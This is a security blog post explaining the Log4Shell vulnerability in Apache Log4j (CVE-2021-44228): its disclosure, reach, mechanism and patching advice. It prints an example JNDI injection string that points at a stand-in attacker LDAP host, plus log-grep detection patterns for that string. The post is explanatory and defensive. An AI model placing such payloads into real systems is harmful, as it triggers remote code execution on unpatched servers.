How a vulnerability stole Christmas : The tale of Log4j vulnerability

Jacobo Arzaga

December 17, 2021

•

min

Imagine a vulnerability that if exploited could have the power to wreak havoc throughout the entire internet industry, affecting many companies such as Apple, Microsoft, and Amazon damaging millions of users around the world. A vulnerability that could allow a malicious agent to take control or gain access to most devices connected to the internet, with relative ease, is what the Log4Shell vulnerability could do if exploited. And because of the potential damage it represents, for the past few days the biggest tech companies as well as many Government Agencies around the world, have been racing against time to patch and fix their systems to prevent a potentially catastrophic disaster.

In November, a new exploit that allows for Remote Code Execution (RCE) zero-day vulnerability (CVE-2021-44228) was discovered in Apache’s Log4j. The issue was discovered by Chen Zhaojun of Alibaba Cloud Security Team and publicly disclosed via Githubon on December 9th. The earliest reports of it being exploited date back to December 1st at 4:36 GMT, as pointed out by CEO & Co-founder of Cloudflare, Matthew Prince.

Due to the ubiquitous use of Log4j, the mass scanning and attempts for exploitation have increased substantially since its public disclosure; with the majority of the attacks focusing on the installation of crypto miners, data and system credentials theft, and expanding the knowledge of compromise networks.

As a response, major tech companies such as AWS, Google Cloud, Microsoft, Cisco, and IBM, among others, have rushed to identify and mitigate services with Log4Shell issues. For smaller organizations, responding to this vulnerability will prove difficult considering the scale at which Log4j is used, and will more than likely impact the industry for years to come.

How can it be exploited?

Log4j is an open-source Java library that allows for logging capabilities and is used to keep track of everything that happens in an application; currently, the library is widely used and is present in many services as a dependency.

To understand how much of an impact Log4Shell and how important Java is, in 2017 Java ranked as the most used programming language for developers, in this year there were 38 billion active Java Virtual Machines (JVM) and 21 billion cloud-connected JVMs and some of the biggest tech companies in the world implement it in some way or another. All this, considering that Java is a cross-platform application that runs on Windows, macOS, Linux/Unix; helps paint a picture of the sphere of influence that Java has and helps understand why the idea of someone exploiting Log4Shell is so worrisome.

The CVE-2021-44228 resides within the Java library and due to the logging capabilities that Log4j offers and the importance of this feature, it is often leveraged in many scenarios, to the point that users may be unaware that the library has been deployed in their environment or that is present in the applications they use.

This means that companies and users have to waste time identifying if Log4j is used in their environment to take the proper actions.

Note: For a list of the affected software, you can check the following links “Log4j overview related software” & “CISA Log4j vulnerability guidance”, the lists are been continuously updated

Log4j & Log4Shell– What is it?

The Log4Shell vulnerability was introduced to Log4j2 in version 2.0-beta9 and affects all versions going from Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0, the vulnerability exists in the JNDI (Java Naming and Directory Interface) component of the LDAP connector, and it can be triggered to retrieve and execute malicious code, by allowing an attacker to craft an LDAP request, normally by inserting a JNDI lookup in a header field (Ex. ${jndi:ldap://attacker_website/code_to_be_executed}) then passing it to Log4J for logging, when Log4J receives this string, it forwards it to a malicious LDAP server usually under the attacker control this LDAP responds to the Log4J application with a malicious code, and when the Log4J is received it runs the code. This is just one example, the vulnerability affects other protocols such as LDAP(S), RMI, DNS, NIS, IIOP, CORBAL, NDS, HTTP.

*(Image by:* *https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/#* )

‍

Patching and Remediation

First, we recommend that you make a list of all the devices that your think could be using Log4J (guide on what applications use the library).

Install the latest updates immediately on the systems using Log4J – All devices should have the version Log4J2.16.0 which disables JNDI by default and removes support for message lookups (Requires Java 8 or greater). You can run vulnerability scans across your network to detect when updates are available.
Check for exploitation attempts using the following Linux/Unix command: sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/ on windows

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} |

select -exp Path. Additional examples here.

Make use of protective network monitoring and blocking capabilities, if using a web application firewall (WAF) make sure rules are available against the vulnerability. You may also want to block outgoing LDAP and RMI connections on the firewall. Here are some rules for various WAF.

Cloud Armor

Cloudflare WAF

Signal Sciences WAF

In the case of using Snort or Suricata, you may want to use the following rules to detect any exploitation attempts.
From a developer's stand, you should inform your clients if their systems could be at risk for them to take action.
In case that you are unable to upgrade, we recommend isolating the system from the internet and applying the workarounds as recommended by Microsoft.

As Security teams rush to remediate, we expect to see the lingering effects of this vulnerability well into 2022.